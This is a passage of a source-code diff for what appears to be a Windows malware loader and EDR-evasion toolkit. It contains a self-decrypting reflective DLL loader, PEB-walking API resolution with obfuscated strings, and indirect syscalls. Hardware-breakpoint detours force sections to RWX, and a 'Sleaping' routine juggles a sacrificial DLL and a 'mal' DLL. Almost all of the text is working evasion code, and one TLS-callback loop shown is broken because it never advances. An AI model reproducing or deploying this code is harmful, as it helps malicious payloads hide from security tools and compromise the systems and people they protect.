if (!RAFT(pImgRuntimeFunctionEntry, (pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size / sizeof(PIMAGE_RUNTIME_FUNCTION_ENTRY)), (DWORD64)pebase)) {
//do nothing, no worth to make it stop for this
}
}
/*--------------EXECUTE TLS CALLBACKS--------------*/
if (pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size) {
pImgTlsDirectory = (PIMAGE_TLS_DIRECTORY)(pebase + pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
arrayOfCallbacks = (PIMAGE_TLS_CALLBACK*)(pImgTlsDirectory->AddressOfCallBacks);
int i = 0;
while (arrayOfCallbacks[i] != NULL) {
arrayOfCallbacks[i]((LPVOID)pebase, DLL_PROCESS_ATTACH, NULL);
}
}
/*--------------FLUSHING INSTRUCTION CACHE ALLA FEWER*/
if ((STATUS = ZwFlushInstructionCache((HANDLE)-1,NULL,0x00,zwFunctions[ZwFlushInstructionCacheF].SSN, zwFunctions[ZwFlushInstructionCacheF].sysretAddr)) != 0) {
return FALSE;
}
/*--------------RETURN ENTRY POINT ADDRESS TO CRAZY LOADER--------------*/
return pebase;
}
//IMPLEMENTED FOR YOLO LOADER
EXTERN_DLL_EXPORT bool CrazyLoader() {
WCHAR kernel32[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
CHAR createThread[] = { 'C','r','e','a','t','e','T','h','r','e','a','d','\0' };
fnCreateThread CT = NULL;
if ((CT = (fnCreateThread)GPAR(GMHR(kernel32), createThread)) == NULL)
return FALSE;
fnDllMain pDllMain = NULL;
PBYTE pebase = NULL;
PIMAGE_DOS_HEADER pImgDosHdr = NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
PDLL_HEADER pDllHeader = NULL;
ULONG_PTR dllBaseAddress = NULL;
dllBaseAddress = (ULONG_PTR)CrazyLoader;
while (TRUE)
{
pDllHeader = (PDLL_HEADER)dllBaseAddress;
if (pDllHeader->header == 0x44434241) {
pImgDosHdr = (PIMAGE_DOS_HEADER)(dllBaseAddress + (16 * sizeof(CHAR)));
if (pImgDosHdr->e_magic == IMAGE_DOS_SIGNATURE)
{
pImgNtHdrs = (PIMAGE_NT_HEADERS)(dllBaseAddress + pImgDosHdr->e_lfanew + (16 * sizeof(CHAR)));
if (pImgNtHdrs->Signature == IMAGE_NT_SIGNATURE) {
break;
}
}
}
dllBaseAddress--;
}
if (!dllBaseAddress)
return FALSE;
//once base address is found retrieve information to decrypt the loader
PBYTE reflectiveAddr = NULL;
BYTE KEY[4] = { (BYTE)(pDllHeader->key & 0xFF), (BYTE)((pDllHeader->key >> 8) & 0xFF), (BYTE)((pDllHeader->key >> 16) & 0xFF), (BYTE)((pDllHeader->key >> 24) & 0xFF) };
reflectiveAddr = (PBYTE)ReflectiveFunction;
for (size_t i = 0, j = 0; i < (pDllHeader->funcSize); i++, j++) {
if (j >= sizeof(pDllHeader->key)) {
j = 0;
}
reflectiveAddr[i] = reflectiveAddr[i] ^ KEY[j];
}
pebase = ReflectiveFunction();
//re-encrypting the reflective function
for (size_t i = 0, j = 0; i < (pDllHeader->funcSize); i++, j++) {
if (j >= sizeof(pDllHeader->key)) {
j = 0;
}
reflectiveAddr[i] = reflectiveAddr[i] ^ KEY[j];
}
//removing the encryption key from memory
pDllHeader->key = 0x0;
//execute the entry point
pDllMain = (fnDllMain)(pebase + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);
HANDLE hThread = CT(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc, (LPVOID)pDllMain, 0, NULL);
if (hThread == NULL)
return FALSE;
return TRUE;
//return pDllMain((HMODULE)pebase, DLL_PROCESS_ATTACH, NULL);
}
bool InitializeFunctionAddress(PFUNCTION_ADDRESSES fnAddr) {
// handle to ntdll and user32
HMODULE hNtdll = { 0 };
HMODULE hUser32 = { 0 };
HMODULE hKernel32 = { 0 };
if (!(hNtdll = GetModuleHandleA("ntdll"))) {
return false;
}
if (!(hUser32 = GetModuleHandleA("user32.dll"))) {
return false;
}
if (!(hKernel32 = GetModuleHandleA("kernel32.dll"))) {
return false;
}
// function pointers for thread contexts
fnAddr->NtTestAlertAddress = GetProcAddress(hNtdll, "NtTestAlert");
fnAddr->NtWaitForSingleObjectAddress = GetProcAddress(hNtdll, "NtWaitForSingleObject");
fnAddr->MessageBoxAddress = GetProcAddress(hUser32, "MessageBoxA");
fnAddr->ResumeThreadAddress = GetProcAddress(hKernel32, "ResumeThread");
if (fnAddr->NtTestAlertAddress == NULL || fnAddr->NtWaitForSingleObjectAddress == NULL || fnAddr->MessageBoxAddress == NULL || fnAddr->ResumeThreadAddress == NULL) {
return false;
}
return true;
}
bool InitializeNtFunctions(PNT_FUNCTIONS ntFunctions)
{
// Load the ntdll.dll library
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll == NULL)
{
return false;
}
ntFunctions->NtWaitForSingleObject = (NtWaitForSingleObjectFunc)GetProcAddress(hNtdll, "NtWaitForSingleObject");//
ntFunctions->NtQueueApcThread = (NtQueueApcThreadFunc)GetProcAddress(hNtdll, "NtQueueApcThread");//
ntFunctions->NtGetContextThread = (NtGetContextThreadFunc)GetProcAddress(hNtdll, "NtGetContextThread");//
ntFunctions->NtSetContextThread = (NtSetContextThreadFunc)GetProcAddress(hNtdll, "NtSetContextThread");//
ntFunctions->NtCreateThreadEx = (NtCreateThreadExFunc)GetProcAddress(hNtdll, "NtCreateThreadEx"); // Added
ntFunctions->NtCreateEvent = (NtCreateEventFunc)GetProcAddress(hNtdll, "NtCreateEvent");
ntFunctions->NtResumeThread = (NtResumeThreadFunc)GetProcAddress(hNtdll, "NtResumeThread");//
ntFunctions->NtQuerySystemInformation = (NtQuerySystemInformationFunc)GetProcAddress(hNtdll, "NtQuerySystemInformation");
ntFunctions->NtQueryObject = (NtQueryObjectFunc)GetProcAddress(hNtdll, "NtQueryObject");
ntFunctions->NtQueryInformationWorkerFactory = (NtQueryInformationWorkerFactoryFunc)GetProcAddress(hNtdll, "NtQueryInformationWorkerFactory");
// Check if all function addresses were retrieved successfully
if (!ntFunctions->NtResumeThread || !ntFunctions->NtWaitForSingleObject || !ntFunctions->NtQueueApcThread ||
!ntFunctions->NtGetContextThread || !ntFunctions->NtSetContextThread || !ntFunctions->NtCreateThreadEx || !ntFunctions->NtCreateEvent
|| !ntFunctions->NtQueryInformationWorkerFactory || !ntFunctions->NtQueryObject || !ntFunctions->NtQuerySystemInformation ) // Modified
{
return false;
}
return true;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
PBYTE oldMemory = NULL;
//even if unampped it's in the PEB
PBYTE myBase = (PBYTE)GetModuleHandleA("SRH.dll");
//retrieve the information left from the reflective loader
//retrieve handle of sac dll
PHANDLE pointerToHandle = (PHANDLE)myBase;
HANDLE sacDllHandle = *pointerToHandle;
//retrieve handle of mal dll
pointerToHandle++;//+8 bytes
HANDLE malDllHandle = *pointerToHandle;
//retrieve size of dll in memory
pointerToHandle++;//+8 bytes
PSIZE_T pointerToSize = (PSIZE_T)pointerToHandle;
SIZE_T viewSize = *pointerToSize;
//retrieve the first buffer address
pointerToHandle++;//+8 bytes
oldMemory = (PBYTE) *pointerToHandle;
//remove the very first buffer allocated for the reflective DLL
if (VirtualFree(oldMemory, 0, MEM_RELEASE) == 0) {
//error releasing old buffer
return FALSE;
}
//here i need to initialize all the NtFunctions
NT_FUNCTIONS ntFunctions = {0};
if (!InitializeNtFunctions(&ntFunctions))
{
return FALSE;
}
// handle to ntdll and user32
HMODULE hNtdll = { 0 };
if (!(hNtdll = GetModuleHandleA("ntdll"))) {
return FALSE;
}
// function pointers for thread contexts
PVOID NtTestAlertAddress = GetProcAddress(hNtdll, "NtTestAlert");
if (NtTestAlertAddress == NULL) {
return FALSE;
}
//looping and Sleaping <3
do {
MessageBoxA(NULL, "Sleaping", "Swappala", MB_OK | MB_ICONINFORMATION);
if (Sleaping(myBase, sacDllHandle, malDllHandle, viewSize, &ntFunctions, NtTestAlertAddress) == -1) {
//nightmares
MessageBoxA(NULL, "Sleaping", "With Nightmares", MB_OK | MB_ICONINFORMATION);
return FALSE;
}
} while (TRUE);
return TRUE;
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
File diff suppressed because it is too large Load Diff
+147
View File
@@ -0,0 +1,147 @@
#pragma once
#include <Windows.h>
#include "syscalls.h"
//retrieve syscall instructions address
PBYTE retrieveRETAddr(PBYTE funcStar) {
int emergencybreak = 0;
while (emergencybreak < 2048) {
//taking into account indianess crazyness
if (funcStar[0] == 0xc3) {
return funcStar;
}
funcStar++;
emergencybreak++;
}
return NULL;
}
/*--------------HARDWARE BREAKPOINT MANAGEMENT---------------------*/
unsigned long long SetDr7Bits(unsigned long long CurrentDr7Register, int StartingBitPosition, int NmbrOfBitsToModify, unsigned long long NewBitValue) {
unsigned long long mask = (1UL << NmbrOfBitsToModify) - 1UL;
unsigned long long NewDr7Register = (CurrentDr7Register & ~(mask << StartingBitPosition)) | (NewBitValue << StartingBitPosition);
return NewDr7Register;
}
VOID NtMapViewOfSectionDetour(PCONTEXT pThreadCtx) {
*(ULONG_PTR*)(pThreadCtx->Rsp + 80) = PAGE_EXECUTE_READWRITE;
pThreadCtx->EFlags = pThreadCtx->EFlags | (1 << 16);
}
VOID NtCreateSectionDetour(PCONTEXT pThreadCtx) {
pThreadCtx->Rdx = SECTION_ALL_ACCESS;
pThreadCtx->EFlags = pThreadCtx->EFlags | (1 << 16);
}
VOID ZwCloseDetour(PCONTEXT pThreadCtx) {
//need to find the address of a C3 instruction within an executable memory range
pThreadCtx->Rip = (ULONG_PTR)retrieveRETAddr((PBYTE)ZwCloseDetour);
//resuming the execution
pThreadCtx->EFlags = pThreadCtx->EFlags | (1 << 16);
}
VOID unsetHardwareBreakpoint(int Dr) {
CONTEXT ThreadCtx = { 0 };
SYSCALL_ENTRY zwFunctions[AmountofSyscalls] = { 0 };
WCHAR ntdll[] = { L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', L'\0' };
RetrieveZwFunctions(GMHR(ntdll), zwFunctions);
ThreadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
ZwGetContextThread((HANDLE)-2, &ThreadCtx, zwFunctions[ZwGetContextThreadF].SSN, zwFunctions[ZwGetContextThreadF].sysretAddr);
switch (Dr) {
case 1: {
ThreadCtx.Dr1 = (DWORD64)0x00;
ThreadCtx.Dr7 = SetDr7Bits(ThreadCtx.Dr7, 2, 1, 0);
break;
}
case 2: {
ThreadCtx.Dr2 = (DWORD64)0x00;
ThreadCtx.Dr7 = SetDr7Bits(ThreadCtx.Dr7, 4, 1, 0);
break;
}
case 3: {
ThreadCtx.Dr3 = (DWORD64)0x00;
ThreadCtx.Dr7 = SetDr7Bits(ThreadCtx.Dr7, 6, 1, 0);
break;
}
}
ZwSetContextThread((HANDLE)-2, &ThreadCtx, zwFunctions[ZwSetContextThreadF].SSN, zwFunctions[ZwSetContextThreadF].sysretAddr);
}
VOID setHardwareBreakpoint(PVOID toBeHooked, PVOID toBeHookedD, PVOID toBeHookedT, PSYSCALL_ENTRY zwFunctions) {
CONTEXT ThreadCtx = { 0 };
ThreadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
ZwGetContextThread((HANDLE)-2, &ThreadCtx, zwFunctions[ZwGetContextThreadF].SSN, zwFunctions[ZwGetContextThreadF].sysretAddr);
ThreadCtx.Dr1 = (DWORD64)toBeHooked;
ThreadCtx.Dr2 = (DWORD64)toBeHookedD;
ThreadCtx.Dr3 = (DWORD64)toBeHookedT;
//ThreadCtx.Dr7 = SetDr7Bits(ThreadCtx.Dr7, 6, 1);
ThreadCtx.Dr7 = SetDr7Bits(ThreadCtx.Dr7, 2, 1, 1);
ThreadCtx.Dr7 = SetDr7Bits(ThreadCtx.Dr7, 4, 1, 1);
ThreadCtx.Dr7 = SetDr7Bits(ThreadCtx.Dr7, 6, 1, 1);
ZwSetContextThread((HANDLE)-2, &ThreadCtx, zwFunctions[ZwSetContextThreadF].SSN, zwFunctions[ZwSetContextThreadF].sysretAddr);
}
LONG WINAPI VectorHandler(PEXCEPTION_POINTERS pExceptionInfo) {
//(ZwCloseAddress, NtMapViewOfSectionAddress, NtCreateSectionAddress);
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
if (pExceptionInfo->ExceptionRecord->ExceptionAddress == (PVOID)pExceptionInfo->ContextRecord->Dr1) {
unsetHardwareBreakpoint(1);
ZwCloseDetour(pExceptionInfo->ContextRecord);
return EXCEPTION_CONTINUE_EXECUTION;
}
if (pExceptionInfo->ExceptionRecord->ExceptionAddress == (PVOID)pExceptionInfo->ContextRecord->Dr2) {
unsetHardwareBreakpoint(2);
NtMapViewOfSectionDetour(pExceptionInfo->ContextRecord);
return EXCEPTION_CONTINUE_EXECUTION;
}
if (pExceptionInfo->ExceptionRecord->ExceptionAddress == (PVOID)pExceptionInfo->ContextRecord->Dr3) {
unsetHardwareBreakpoint(3);
NtCreateSectionDetour(pExceptionInfo->ContextRecord);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
+695
View File
@@ -0,0 +1,695 @@
#pragma once
#include <Windows.h>
#include "headers.h"
/*---------FUNCTIONS PROTOTYPES--------------*/
FARPROC GPARO(IN HMODULE hModule, IN int ordinal);
/*----------------GENERIC FUNCTIONS--------------------*/
size_t custom_wcstombs(CHAR dest[], WCHAR src[], size_t n) {
size_t i = 0;
for (i = 0; src[i] != L'\0' && i < n; ++i) {
dest[i] = (char)src[i]; // Convert ASCII characters directly
}
dest[i] = '\0'; // Null-terminate the wide character string
return i; // Return the number of converted characters
}
size_t custom_strlen(char str[]) {
size_t len = 0;
while (str[len] != '\0') {
len++;
}
return len++;
}
size_t custom_wcslen(const wchar_t* str) {
if (!str)
return 0;
size_t len = 0;
while (str[len] != L'\0') {
len++;
}
return len++;
}
void custom_wsstr(WCHAR str[], int start, int length, WCHAR result[]) {
int i = 0;
while (i < length && str[start + i] != L'\0') {
result[i] = str[start + i];
i++;
}
result[i] = L'\0'; // Null-terminate the result string
}
void custom_wsstr_end(WCHAR str[], int start, int length, WCHAR result[]) {
int i = 0;
while (i < length && str[start + i] != L'\0') {
result[i] = str[start + i];
i++;
}
result[i] = L'\0'; // Null-terminate the result string
}
void custom_sstr(CHAR str[], int start, int length, CHAR result[]) {
int i = 0;
while (i < length && str[start + i] != '\0') {
result[i] = str[start + i];
i++;
}
result[i] = '\0'; // Null-terminate the result string
}
void* custom_memcpy(void* pDestination, void* pSource, size_t sLength, PBYTE toZero, SIZE_T lentgh) {
PBYTE D = (PBYTE)pDestination;
PBYTE S = (PBYTE)pSource;
while (sLength--) {
if (S > toZero && S < (toZero + (DWORD)lentgh))
{
*D++ = 0x0;
}
else {
*D++ = *S++;
}
}
return pDestination;
}
void custom_memcpy_classic(void* pDestination, void* pSource, size_t sLength) {
PBYTE D = (PBYTE)pDestination;
PBYTE S = (PBYTE)pSource;
while (sLength--) {
*D++ = *S++;
}
}
void custom_memset_zero(void* pDestination, size_t sLength) {
PBYTE D = (PBYTE)pDestination;
while (sLength--) {
*D++ = 0x00;
}
}
void custom_wcscpy(wchar_t* dest, const wchar_t* src) {
while ((*dest++ = *src++) != L'\0') {
// Copy characters until the null-terminator is encountered
}
}
void ToLowerCaseWIDE(WCHAR str[]) {
size_t i = 0;
while (str[i] != L'\0') {
if (str[i] >= L'A' && str[i] <= L'Z') {
str[i] = str[i] + 32; // Convert uppercase to lowercase
}
i++;
}
//return str;
}
bool CompareNStringASCII(CHAR str1[], CHAR str2[], int n) {
int i = 0;
if (custom_strlen(str1) == 0 || custom_strlen(str2) == 0 || custom_strlen(str1) < n || custom_strlen(str2) < n) {
return FALSE;
}
while (str1[i] && str2[i] && i < n) {
if (str1[i] != str2[i]) {
return FALSE; // Characters don't match, strings are different
}
i++;
}
// Check if both strings have reached the null terminator at the same time
return TRUE;
}
void ConvertDWORDToString(DWORD value, char* buffer, size_t bufferSize) {
const char hexDigits[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' };
// Add "0x" prefix
buffer[0] = '0';
buffer[1] = 'x';
// Convert each nibble to a hexadecimal digit
for (int i = 7; i >= 0; --i) {
buffer[2 + (7 - i)] = hexDigits[(value >> (i * 4)) & 0xF];
}
// Null-terminate the string
buffer[10] = '\n';
buffer[11] = '\0';
}
bool ComprareNStringWIDE(WCHAR str1[], WCHAR str2[], int n) {
int i = 0;
while (str1[i] && str2[i] && i < n) {
if (str1[i] != str2[i]) {
return FALSE; // Characters don't match, strings are different
}
i++;
}
// Check if both strings have reached the null terminator at the same time
return TRUE;
}
bool CompareStringASCII(CHAR str1[], CHAR str2[]) {
if (custom_strlen(str1) != custom_strlen(str2)) {
return false;
}
int i = 0;
while (str1[i] && str2[i]) {
if (str1[i] != str2[i]) {
return false; // Characters don't match, strings are different
}
i++;
}
// Check if both strings have reached the null terminator at the same time
return true;
}
BOOL ComprareStringWIDE(WCHAR str1[], WCHAR str2[]) {
int i = 0;
while (str1[i] && str2[i]) {
if (str1[i] != str2[i]) {
return FALSE; // Characters don't match, strings are different
}
i++;
}
return TRUE;
}
BOOL containsSubstringUnicode(PWSTR str, WCHAR substring[], int strLen, int subLen) {
CHAR dest[100] = { 0 };
if (subLen > strLen)
return FALSE;
for (size_t i = 0; i <= (strLen - subLen + 1); ++i) {
for (int j = 0; j < subLen; j++) {
if (str[i + j] != substring[j]) {
break;
}
if (j == (subLen - 1)) {
return TRUE;
}
}
}
return FALSE;
}
BOOL containsSubstringASCII(CHAR str[], CHAR substring[]) {
size_t strLen = 0;
size_t subLen = 0;
strLen = custom_strlen(str);
subLen = custom_strlen(substring);
//if (subLen > strLen)
// return FALSE;
for (size_t i = 0; i <= strLen - subLen; i++) {
//MB(NULL, msg, msg, MB_OK | MB_ICONINFORMATION);
if (CompareNStringASCII(str + i, substring, subLen) == 0)
return TRUE;
}
return FALSE;
}
errno_t custom_wcscpy_s(WCHAR dest[], size_t destsz, WCHAR src[]) {
size_t i = 0;
while (i < destsz - 1 && src[i] != L'\0') {
dest[i] = src[i];
i++;
}
dest[i] = L'\0'; // Null-terminate the destination string
return 0; // Success
}
int custom_wcsstr(WCHAR string[], WCHAR sub[]) {
int index = 0;
int index_sub = 0;
while (string[index] != L'\0') {
while (string[index] == sub[index_sub] && string[index] != L'\0' && sub[index_sub] != L'\0') {
index++;
index_sub++;
}
if (sub[index_sub] == L'\0') {
return (index - index_sub);
}
index++;
index_sub = 0;
}
return 0;
}
int custom_csstr(CHAR string[], CHAR sub[]) {
int index = 0;
int index_sub = 0;
while (string[index] != '\0') {
while (string[index] == sub[index_sub] && string[index] != '\0' && sub[index_sub] != '\0') {
index++;
index_sub++;
}
if (sub[index_sub] == '\0') {
return (index - index_sub);
}
index++;
index_sub = 0;
}
return 0;
}
int custom_find(char str[], char ch) {
int index = 0;
while (str[index] != '\0') {
if (str[index] == ch) {
return index; // Character found; return its position (index)
}
index++;
}
return -1; // Character not found
}
VOID custom_find_wide_reverse(WCHAR str[], WCHAR ch, int len, int* result) {
int index = len - 1;
while (index >= 0) {
if (str[index] == ch) {
*result = index; // Character found; return its position (index)
}
index--;
}
}
int custom_stoi(char str[]) {
int result = 0;
int i = 0;
// Iterate through the string and convert characters to integers
while (str[i] != '\0') {
if (str[i] >= '0' && str[i] <= '9') {
result = result * 10 + (str[i] - '0');
}
i++;
}
return result;
}
void custom_itoa(unsigned int value, CHAR buffer[]) {
int i = 0;
// Process individual digits
do {
buffer[i++] = '0' + value % 10;
value /= 10;
} while (value);
buffer[i] = '\0'; // Null-terminate the string
// Reverse the string
int start = 0;
int end = i - 1;
while (start < end) {
char temp = buffer[start];
buffer[start] = buffer[end];
buffer[end] = temp;
start++;
end--;
}
}
errno_t custom_memcpy_s(void* dest, size_t destsz, void* src, size_t count) {
if (!dest || !src || destsz < count) {
return EINVAL; // Invalid parameters or insufficient space
}
PBYTE d = (PBYTE)dest;
PBYTE s = (PBYTE)src;
while (count--) {
*d++ = *s++; // Copy bytes from source to destination
}
return 0; // Success
}
char* custom_strcat(char dest[], char src[]) {
size_t dest_len = custom_strlen(dest);
size_t i;
for (i = 0; src[i] != '\0'; ++i) {
dest[dest_len + i] = src[i];
}
dest[dest_len + i] = '\0'; // Null-terminate the concatenated string
return dest;
}
size_t custom_mbstowcs(WCHAR dest[], CHAR src[], size_t n) {
size_t i = 0;
for (i = 0; src[i] != '\0' && i < n; ++i) {
dest[i] = (wchar_t)src[i]; // Convert ASCII characters directly
}
dest[i] = L'\0'; // Null-terminate the wide character string
return i; // Return the number of converted characters
}
//----------------GET MODULE HANDLE---------------------
HMODULE GMHR(IN WCHAR szModuleName[]) {
PPEBC pPeb = (PEBC*)(__readgsqword(0x60));
// geting Ldr
PPEBC_LDR_DATA pLdr = (PPEBC_LDR_DATA)(pPeb->Ldr);
// getting the first element in the linked list (contains information about the first module)
PLDR_DATA_TABLE_ENTRYC pDte = (PLDR_DATA_TABLE_ENTRYC)(pLdr->InMemoryOrderModuleList.Flink);
while (pDte) {
// if not null
if (pDte->FullDllName.Length != NULL) {
// check if both equal
ToLowerCaseWIDE(pDte->FullDllName.Buffer);
ToLowerCaseWIDE(szModuleName);
if (ComprareStringWIDE(pDte->FullDllName.Buffer, szModuleName)) {
return (HMODULE)(pDte->InInitializationOrderLinks.Flink);
}
}
else {
break;
}
// next element in the linked list
pDte = *(PLDR_DATA_TABLE_ENTRYC*)(pDte);
}
return NULL;
}
/*-------------------PEB STOMPING---------------------------*/
/*----------------SUPPORT FUNCTIONS------------------------*/
void ParseForwarder(CHAR forwarder[], CHAR dll[], CHAR function[]) {
int i = 0;
while (forwarder[i]) {
if (forwarder[i] == '.') {
break;
}
i++;
}
for (int j = 0; j <= i; j++) {
dll[j] = forwarder[j];
}
dll[i + 1] = 'd';
dll[i + 2] = 'l';
dll[i + 3] = 'l';
dll[i + 4] = '\0';
i++;
int z = 0;
while (forwarder[i]) {
function[z] = forwarder[i];
i++;
z++;
}
function[z + 1] = '\0';
}
void ConvertPointerToString(LPVOID pointer, char* buffer, size_t bufferSize) {
const char hexDigits[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' };
uintptr_t value = reinterpret_cast<uintptr_t>(pointer);
// Add "0x" prefix
buffer[0] = '0';
buffer[1] = 'x';
// Convert each nibble to a hexadecimal digit
for (int i = 15; i >= 0; --i) {
buffer[2 + (15 - i)] = hexDigits[(value >> (i * 4)) & 0xF];
}
// Null-terminate the string
buffer[18] = '\n';
buffer[19] = '\0';
}
/*------------------GET PROC ADDRESS-------------------*/
FARPROC GPAR(IN HMODULE hModule, IN CHAR lpApiName[]) {
PBYTE pBase = (PBYTE)hModule;
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
//variables for forwarding
WCHAR kernel32[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
fnLoadLibraryA LLA = NULL;
PBYTE functionAddress = NULL;
CHAR forwarder[260] = { 0 };
CHAR dll[260] = { 0 };
CHAR function[260] = { 0 };
// looping through all the exported functions
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
// getting the name of the function
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
// searching for the function specified
if (CompareStringASCII(lpApiName, pFunctionName)) {
functionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
if (functionAddress >= (PBYTE)pImgExportDir && functionAddress < (PBYTE)(pImgExportDir + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)) {
//here i have to get a substring
ParseForwarder((CHAR*)functionAddress, dll, function);
if ((LLA = (fnLoadLibraryA)GPAR(GMHR(kernel32), loadLibraryA)) == NULL)
return NULL;
if (function[0] == '#') {
return GPARO(LLA(dll), custom_stoi(function));
}
else {
return GPAR(LLA(dll), function);
}
}
else {
return (FARPROC)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
}
}
}
return NULL;
}
FARPROC GPARO(IN HMODULE hModule, IN int ordinal) {
// we do this to avoid casting at each time we use 'hModule'
PBYTE pBase = (PBYTE)hModule;
// getting the dos header and doing a signature check
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
// getting the nt headers and doing a signature check
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
// getting the optional header
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
// we can get the optional header like this as well
// PIMAGE_OPTIONAL_HEADER pImgOptHdr = (PIMAGE_OPTIONAL_HEADER)((ULONG_PTR)pImgNtHdrs + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));
// getting the image export table
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
//getting the base = first ordinal value in the export table (DWORD 4 bytes)
int base = (int)pImgExportDir->Base;
int NumberOfFunctions = (int)pImgExportDir->NumberOfFunctions;
//variables for forwarding
WCHAR kernel32[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
fnLoadLibraryA LLA = NULL;
PBYTE functionAddress = NULL;
CHAR forwarder[260] = { 0 };
CHAR dll[260] = { 0 };
CHAR function[260] = { 0 };
//check if the ordinal falls into the range of ordinals of functions exported by the DLL
if (ordinal < base || ordinal >= base + NumberOfFunctions) {
return NULL;
}
// getting the function's names array pointer
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
// getting the function's addresses array pointer
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
// getting the function's ordinal array pointer
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
// as specified here https://learn.microsoft.com/en-us/windows/win32/debug/pe-format
// If the address specified is not within the export section (as defined by the address and length that are indicated
// in the optional header), the field is an export RVA, which is an actual address in code or data. Otherwise, the field is a forwarder RVA,
// // which names a symbol in another DLL.
functionAddress = (PBYTE)(pBase + FunctionAddressArray[ordinal]);
if (functionAddress >= (PBYTE)pImgExportDir && functionAddress < (PBYTE)(pImgExportDir + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)) {
//here i have to get a substring
ParseForwarder((CHAR*)functionAddress, dll, function);
if ((LLA = (fnLoadLibraryA)GPAR(GMHR(kernel32), loadLibraryA)) == NULL)
return NULL;
if (function[0] == '#') {
return GPARO(LLA(dll), custom_stoi(function));
}
else {
return GPAR(LLA(dll), function);
}
}
return (FARPROC)(pBase + FunctionAddressArray[ordinal]);
}
DWORD WINAPI ThreadProc(LPVOID lpParameter) {
// Call DllMain with proper arguments
WCHAR SRH[] = {L'S', L'R', L'H', L'.', L'd', L'l', L'l', L'\0'};
fnDllMain pDllMain = NULL;
PBYTE pebase = NULL;
pDllMain = (fnDllMain)lpParameter;
pebase = (PBYTE)GMHR(SRH);
return pDllMain((HMODULE)pebase, DLL_PROCESS_ATTACH, NULL);
}
@@ -0,0 +1,186 @@
#pragma once
#include <Windows.h>
#include "headers.h"
/*-----------------------------------------------------------*/
int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_T viewSize, PNT_FUNCTIONS ntFunctions, PVOID NtTestAlertAddress) {
HANDLE DummyEvent = { 0 };
//sleaping threads = 5 Timers + 6 APC threads
HANDLE ThreadArray[4] = { NULL };
//timers variables
HANDLE hTimerQueue = NULL;
HANDLE hNewTimer = NULL;
//i create the sync event that would trigger the first thread
